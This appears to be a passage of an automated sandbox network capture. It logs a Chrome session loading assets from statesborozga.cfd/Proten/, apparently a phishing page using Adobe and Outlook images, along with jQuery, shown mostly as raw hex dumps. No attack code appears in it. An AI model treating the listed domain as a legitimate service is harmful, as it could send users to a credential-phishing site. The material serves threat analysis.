-webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-direction: normal, alternate; animation-direction: nor
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 6e 67 2d 73 69 6e 6b 2c 20 68 76 72 2d 68 61 6e 67 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 68 76 72 2d 68 61 6e 67 2d 73 69 6e 6b 2c 20 68 76 72 2d 68 61 6e 67 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 33 73 2c 20 31 2e 35 73 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 33 73 2c 20 31 2e 35 73 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 73 2c 20 2e 33 73 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 73 2c 20 2e 33 73 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 6f 75 74 2c 20 65 61 73 65 2d 69 6e 2d Data Ascii: ng-sink, hvr-hang; animation-name: hvr-hang-sink, hvr-hang; -webkit-animation-duration: .3s, 1.5s; animation-duration: .3s, 1.5s; -webkit-animation-delay: 0s, .3s; animation-delay: 0s, .3s; -webkit-animation-timing-function: ease-out, ease-in-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	609	OUT	GET /Proten/images/adobe.jpg HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:01 UTC	663	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:01 GMT Content-Type: image/jpeg Content-Length: 30925 Connection: close Last-Modified: Tue, 21 Jan 2020 12:44:54 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XyVx%2BbRBYYDDep9mxNwZyJYR%2FtyfHa7cT4PYWsdMtzJswFJbfongMOviXLoxy9Ln%2Bj4fRq4QggNpUjAIv7mpEgnagrj45zVTEJbTnQwAM673Kmo3mLK0wau2RyaNd3dKeYEgLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd884f8334546-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:01 UTC	706	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 55 8a af 45 06 d1 97 35 f4 b5 8b 14 55 7a 93 cc f6 fd 7f fa d4 14 49 45 14 50 54 65 cb 7d 2f 70 a7 79 be eb f9 ff 00 f5 e9 b4 54 ca 3c d6 d6 d6 2d 54 8f da 7c bd ba df bf 62 cf 9c 3d bf 23 49 55 e8 a9 f6 7e 7f 87 fc 11 7b 4f 2f c7 fe 01 62 8a af 45 1e cf cf f0 ff 00 82 1e d3 cb f1 ff 00 80 58 a2 ab d1 47 b3 f3 fc 3f e0 87 b4 f2 fc 7f e0 16 7c e1 ed f9 1a 83 cd f7 5f cf ff 00 af 4d a2 8f 67 e7 f8 7f c1 1b a9 1f b2 f9 bb f4 b7 e7 e7 f7 05 14 54 7e 67 b7 eb ff 00 d6 ad 05 ed 3c bf 1f f8 04 94 54 7e 67 b7 eb ff 00 d6 a8 e8 33 24 f3 3d bf 5f fe b5 49 55 e8 a0 99 4b 96 da 5e e1 45 15 07 9c 3d bf 23 55 18 f3 5f 5b 58 ce 52 e6 b6 96 b1 3d 57 a2 8a d2 31 e5 be b7 b9 8f b4 f2 fc 7f e0 05 14 51 54 72 ca 5c d6 d2 d6 0a 2a 1f 37 dd 7f 3f fe bd 36 83 39 4b 96 da 5e e1 Data Ascii: UE5UzIEPTe}/pyT<-T\|b=#IU~{O/bEXG?\|_MgT~g<T~g3$=_IUK^E=#U_[XR=W1QTr\*7?69K^
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: c3 ff 00 fa 6a d2 2b 7b ce 3e ff 00 90 ac 6b 7f bc 62 7f ec 2b 15 ff 00 a9 15 0f 77 26 ff 00 91 36 53 ff 00 60 18 6f fd 33 02 5f 33 db f5 ff 00 eb 54 95 5b ce 3e ff 00 90 a5 ae 7f 67 e7 f8 7f c1 3d 12 c5 14 54 7e 67 b7 eb ff 00 d6 a9 94 79 6d ad ee 69 ed 3c bf 1f f8 04 94 54 7e 67 b7 eb ff 00 d6 a9 2a 43 da 79 7e 3f f0 02 8a 28 a0 a8 cb 9a fa 5a c3 bc df 75 fc ff 00 fa f4 79 be eb f9 ff 00 f5 e9 b4 50 69 19 72 df 4b dc 77 9b ee bf 9f ff 00 5e 8f 37 dd 7f 3f fe bd 36 8a 0a f6 b3 ef fd 69 fe 5f 8b ee 3b cd f7 5f cf ff 00 af 47 9b ee bf 9f ff 00 5e 9b 45 01 ed 67 df fa d3 fc bf 17 dc 77 9b ee bf 9f ff 00 5e 8f 37 dd 7f 3f fe bd 36 8a 03 da cf bf f5 a7 f9 7e 2f b8 ef 37 dd 7f 3f fe bd 1e 6f ba fe 7f fd 7a 6d 14 18 ca 71 8d ae ed 7d be f5 fe 7f 98 51 45 47 e6 Data Ascii: j+{>kb+w&6S`o3_3T[>g=T~gymi<T~g*Cy~?(ZuyPirKw^7?6i_;_G^Egw^7?6~/7?ozmq}QEG
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 13 af 5a 53 9c 79 30 f4 ab 55 4a 5e cd c5 e6 58 58 ea 3a bd fd ae 91 a6 da 5e ea 7a 85 fd c9 b6 d3 34 ed 3a d4 5e df 5d df 8e 4e 9b a5 69 3a 2e 06 b2 00 19 c9 e2 be ba b7 ff 00 82 79 fe dd d7 3a 3c 3a f4 7f b1 df ed 23 36 8f 71 6d f6 9f b5 1f 84 de 28 ff 00 8f 0c 8e 3f b2 4f fc 4f c1 cf a8 04 f7 af ea 2b c2 9e 06 fd 8e ff 00 e0 83 5f b3 57 87 7e 23 7c 4a d0 74 ff 00 8a 7f b5 57 c4 2b 45 d2 ff 00 b5 34 eb 7d 39 fc 7b e3 4f 19 36 9d 19 d6 bc 33 e0 2d 4f 58 46 4f 02 fc 2b f0 c6 63 3e 26 f1 1b 09 1e e5 5d 25 f1 23 f8 8f c5 7e 22 f0 b7 86 a7 f8 16 cb fe 0e 5e fd a0 62 f1 48 bb d4 3f 66 df 82 d3 f8 15 a7 f9 bc 39 a7 f8 9b c7 76 5e 2e 16 2c c0 b4 43 c5 f2 4d 3e 82 75 5c 64 8c f8 59 07 1b 3c a5 1c d7 eb 0f 81 f8 53 87 a9 d0 c3 71 a7 12 e2 70 19 dd 7a 31 ab 57 2c Data Ascii: ZSy0UJ^XX:^z4:^]Ni:.y:<:#6qm(?OO+_W~#\|JtW+E4}9{O63-OXFO+c>&]%#~"^bH?f9v^.,CM>u\dY<Sqpz1W,
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 34 fe 14 f8 19 6f a7 fc 16 f0 be 9a 99 54 b5 be d2 34 b3 ab 78 ff 00 56 2b 8e 5d 7c 69 ab ea ca 58 e7 fe 40 fa 08 1b 40 e7 f2 0e bd e3 f6 aa f1 0c de 2a fd a8 7f 68 ff 00 14 df cd e7 de 78 83 e3 ff 00 c5 cd 5a e7 b7 0f f1 37 c5 cf 8f c0 37 5a f0 6f 38 fb fe 42 bc 1e 22 cc 6a e6 b9 fe 73 98 56 97 3c f1 59 96 32 a2 97 fd 3b f6 f3 8d 14 b6 d2 14 a3 1a 6b 45 a4 13 69 5e cb f5 2f 06 38 5b 2f e0 4f 09 7c 36 e0 ec b6 8d 2a 38 5e 1c e0 8e 17 cb 2d 49 fb b5 71 34 f2 4c 05 6c c7 17 3d 35 c4 e3 b3 4a d8 ec 76 36 57 7e d7 1b 89 c4 56 f7 7d af 24 7f a4 0f f8 36 c7 e3 2d f6 81 fb 4f 7c 5c f8 1f 71 73 31 f0 f7 c4 bf 85 4d e3 4b 4d 3d ca ed 1e 2f f8 7b e2 4d 22 21 a9 28 23 21 a4 d0 bc 5f ad 46 c7 27 23 49 5d ab 95 e7 f7 13 fe 0b 7b fb 2c 59 7e d1 bf b0 df 8f 3c 45 a5 69 Data Ascii: 4oT4xV+]\|iX@@hxZ77Zo8B"jsV<Y2;kEi^/8[/O\|68^-Iq4Ll=5Jv6W~V}$6-O\|\qs1MKM=/{M"!(#!_F'#I]{,Y~<Ei
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 27 e5 7b 6b 6b bf de 7c 39 ce a9 67 fe 1e f0 26 7f 87 97 b4 c3 e7 bc 19 c2 d9 c5 09 df e2 a3 98 e4 58 0c 4d 17 b6 b7 a5 52 12 be 97 e6 db 43 fa 10 ff 00 83 6f 3c 31 fd b9 fb 74 78 f7 c4 4f 1e 2d bc 15 fb 3a 78 b6 eb 2d ff 00 41 1f 14 f8 e3 e1 d6 8c b8 f6 58 ce b1 90 30 30 39 e0 57 f7 3d 5f c9 2f fc 1b 11 f0 ec 9b 6f da d7 e2 f5 cd b8 66 9a f7 e1 87 c3 2d 22 e0 f0 07 f6 4a f8 c3 c5 7a d9 ce 7e f1 4d 63 c2 98 e0 83 b5 b8 f5 fe b5 df a0 fa ff 00 43 5f d7 5e 0e e0 de 17 81 32 fa 92 49 4b 1d 8c cc b1 ae c9 6b 1a 98 ba 94 e3 2d ef ef 2a 37 d5 2b 27 65 74 ae ff 00 e7 6f f6 90 71 1d 3c fb e9 59 c6 78 3a 52 73 87 0b e4 bc 23 c3 ca 5a 38 b9 ff 00 ab f8 2c f3 11 cb 64 ac be b7 9d e2 13 8f bc d3 57 e6 f7 92 5f e6 11 fb 78 5a c1 a5 fe db 9f b6 06 9b 6b 91 0d bf ed 41 Data Ascii: '{kk\|9g&XMRCo<1txO-:x-AX009W=_/of-"Jz~McC_^2IKk-*7+'etoq<Yx:Rs#Z8,dW_xZkA
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: f0 e7 fe 09 cf e0 7f 11 dc da 8b 7b ff 00 8c be 3c f8 81 f1 3e e4 31 3f 69 36 72 ea 83 c1 da 2a c9 8e 77 0d 1b c2 51 30 e4 30 0c 30 32 c4 d7 ec a7 8a fc 49 a7 78 4f c3 1e 23 f1 56 a6 e2 2d 33 c3 1a 36 a3 ad de 3f 00 8b 3d 2a c0 df bf 3f ee ab 0e 3a 80 07 a9 af 2b fd 9a 7e 15 5a 7c 09 f8 05 f0 6f e0 d5 b2 5b 85 f8 5d f0 cb c0 9e 04 77 b7 65 65 ba ba f0 d7 87 34 ad 23 51 be 07 93 ba 4d 55 6f a5 70 73 96 6d fd 19 40 f9 e7 fe 0a 83 f1 3e 3f 84 1f f0 4f 9f da db c6 b0 c8 b0 de 47 f0 77 c5 9e 19 d2 e6 23 3b 3c 41 f1 14 0f 87 7a 11 19 e0 15 d6 7c 51 6c c0 f6 61 90 73 5f d6 39 75 15 c2 fc 21 87 a7 34 92 c9 72 1f 69 59 2d 39 6b 61 30 2a be 2b 5f 7a ca 58 88 d6 4a ed d9 c9 3b 3f 84 ff 00 9f 1e 33 cd 6a f8 f1 f4 8e cf 71 b8 39 54 aa fc 51 f1 72 a6 13 26 8a b3 9a c1 Data Ascii: {<>1?i6rwQ0002IxO#V-36?=?:+~Z\|o[]wee4#QMUopsm@>?OGw#;<Az\|Qlas_9u!4riY-9ka0*+_zXJ;?3jq9TQr&
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: d7 8a eb ae 16 15 db d5 5e c8 fe 13 fa 03 70 3c b8 df e9 47 e1 eb 9d 15 57 03 c1 ff 00 da bc 75 8f 93 4d ac 3b e1 dc 0c e5 94 62 65 ac 54 63 47 88 f1 59 33 94 9b 7c aa 57 49 bd 0f e7 6e 8a 87 cd f7 5f cf ff 00 af 4d af e3 33 fe 98 fd a7 97 e3 ff 00 00 b1 45 57 a2 82 1c e3 3f 85 de db fc ed 61 de 6f ba fe 7f fd 7a 3c df 75 fc ff 00 fa f4 da 28 32 f6 9e 5f 8f fc 00 a2 8a 28 0f 69 e5 f8 ff 00 c0 0a 28 a8 fc cf 6f d7 ff 00 ad 55 18 f3 5f 5b 58 c6 52 e5 b6 97 b9 25 14 55 7a af 67 e7 f8 7f c1 27 da 79 7e 3f f0 09 3c cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 aa 3a 2b 43 19 4b 96 da 5e e1 45 14 9e 71 f7 fc 85 04 fb 4f 2f c7 fe 00 b4 54 1e 70 f6 fc 8d 25 07 3f b4 f2 fc 7f e0 13 f9 c7 df f2 15 05 43 e6 fb af e7 ff 00 d7 a6 d0 4c a5 cd 6d 2d 62 c5 43 e6 fb af e7 ff 00 Data Ascii: ^p<GWuM;beTcGY3\|WIn_M3EW?aoz<u(2_(i(oU_[XR%Uzg'y~?<oG:+CK^EqO/Tp%?CLm-bC
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: f6 fd 7f fa d4 79 9e df af ff 00 5a b2 f6 7e 7f 87 fc 13 bf da 79 7e 3f f0 09 28 a8 fc cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 a8 f6 7e 7f 87 fc 10 f6 9e 5f 8f fc 02 4a 2a 3f 33 db f5 ff 00 eb 51 e6 7b 7e bf fd 6a 3d 9f 9f e1 ff 00 04 3d a7 97 e3 ff 00 00 92 8a 8f cc f6 fd 7f fa d4 79 9e df af ff 00 5a 8f 67 e7 f8 7f c1 0f 69 e5 f8 ff 00 c0 24 a2 a3 f3 3d bf 5f fe b5 1e 67 b7 eb ff 00 d6 a3 d9 f9 fe 1f f0 43 da 79 7e 3f f0 09 28 a2 ab d1 ec fc ff 00 0f f8 21 ed 3c bf 1f f8 05 8a 2a bd 14 7b 3f 3f c3 fe 08 7b 49 74 d3 be bb fe 5f d3 2c 54 7e 67 b7 eb ff 00 d6 a8 e8 a3 d9 f9 fe 1f f0 43 da 79 7e 3f f0 09 3c cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 aa 3a 2b 4b 45 ee af db 5f f8 0c c6 53 8a b5 9f 35 f7 e9 6d bd 7b fd e9 92 79 9e df af ff 00 5a 8f 33 db f5 ff 00 Data Ascii: yZ~y~?(oG~_J?3Q{~j==yZgi$=_gCy~?(!<{??{It_,T~gCy~?<oG:+KE_S5m{yZ3
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 00 5e 80 f6 9e 5f 8f fc 02 ef 9c 7d ff 00 21 47 9c 7d ff 00 21 54 bc df 75 fc ff 00 fa f4 79 be eb f9 ff 00 f5 e8 26 53 93 b5 9f 2d b7 eb 7d 57 a7 6f c5 97 7c e3 ef f9 0a 87 ce 1e df 91 aa d4 50 49 62 bf 62 7f e0 86 bf b2 d9 fd a4 ff 00 6f 7f 87 da d6 b5 a6 9b ef 01 fc 02 b5 3f 1a 7c 5e f7 3f f2 0f ba d5 34 8d 4c 0f 87 3a 4a ee 20 33 ff 00 c2 74 da 36 be 10 6e 24 f8 43 5c 18 e4 15 fc 6e af ef 77 fe 0d e9 fd 94 d7 e0 67 ec 5f 17 c6 4f 10 69 a2 db c7 5f b4 e6 ba 3c 7c 5e e4 21 be b3 f8 65 a4 16 d2 7e 1d 69 52 82 c7 05 e3 1a df 8e 51 80 da 57 c6 8b f2 89 36 e3 ef 3c 36 c8 bf b7 78 b3 01 4e a4 39 b0 98 04 f3 3c 64 9f c3 ec f0 95 29 4e 8d 2a 9a ab d3 ab 8b fa ba 94 53 bb e5 4d 7c 2c fe 47 fa 6d f8 b0 bc 27 f0 07 8a f1 78 3c 4f b0 e2 3e 30 a7 2e 06 e1 c5 19 cd Data Ascii: ^_}!G}!Tuy&S-}Wo\|PIbbo?\|^?4L:J 3t6n$C\nwg_Oi_<\|^!e~iRQW6<6xN9<d)N*SM\|,Gm'x<O>0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	612	OUT	GET /Proten/images/outlook1.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:01 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:01 GMT Content-Type: image/png Content-Length: 771 Connection: close Last-Modified: Sat, 18 Jan 2020 21:38:46 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Y%2FKwJAmDs1r4Z9Und3tM2GxgaweHT2peWf8SalEAv0BWaTxiIaQ7Ra1qsxfUSzMdHCX%2BNjZS2NAa8tyzJfMOUlwLiUslCUjq4hZbZIKn0bk8lXjiZc0fraagLZ01BYcibwVLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd884fff44517-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:01 UTC	711	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1a 00 00 00 1a 08 06 00 00 00 a9 4a 4c ce 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 02 b8 49 44 41 54 48 0d b5 94 cb 6b 14 41 10 87 6b 36 bb 62 9e 46 31 82 8f 48 40 b3 d1 98 e8 6a 40 10 61 51 03 82 a2 28 82 82 20 92 9b 20 1e c4 ab f8 00 fd 0b d4 b3 88 20 88 41 f4 10 44 f4 90 15 49 0e e2 e3 e0 03 05 45 09 88 1e 84 98 b8 31 b8 a0 ed 57 93 1e d2 3b 3b b3 59 d7 64 f8 7d 5d d5 55 35 5d d3 9d de 78 22 33 3f c6 98 1a aa da 21 03 1b 41 ed a4 e7 79 fb f1 2b 52 32 5c c5 a2 8b 89 6d 81 4e 58 07 3d 90 86 70 ed 30 b1 8a 95 64 e1 5e aa 33 16 fd da 0e fc f0 a2 84 4a c5 bb 5a d7 58 9a 29 8a 14 d8 f9 84 50 5c ad 86 78 31 0b 33 e9 aa b6 4d e8 30 87 8c b3 f6 6d 10 dd ba da b9 e0 09 8b 1e e4 d8 46 b0 Data Ascii: PNGIHDRJLbKGDIDATHkAk6bF1H@j@aQ( ADIE1W;;Yd}]U5]x"3?!Ay+R2\mNX=p0d^3JZX)P\x13M0mF
2024-04-17 22:28:01 UTC	60	IN	Data Raw: 6e 15 9a eb b1 76 90 77 9b eb 55 6f 20 a6 1a e6 23 b7 aa 53 09 b1 8d a2 5e a6 b9 ee bc 8b 9c ee b6 9e 46 97 f0 2b d2 5f 3f 3f e6 72 e6 c3 d7 a2 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: nvwUo #S^F+_??rIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	151.101.130.137	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	535	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://statesborozga.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:01 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 17 Apr 2024 22:28:01 GMT Age: 3160946 X-Served-By: cache-lga21947-LGA, cache-pdk-kfty2130022-PDK X-Cache: HIT, HIT X-Cache-Hits: 4941, 4 X-Timer: S1713392882.525066,VS0,VE0 Vary: Accept-Encoding
2024-04-17 22:28:01 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-17 22:28:01 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-17 22:28:01 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-17 22:28:01 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
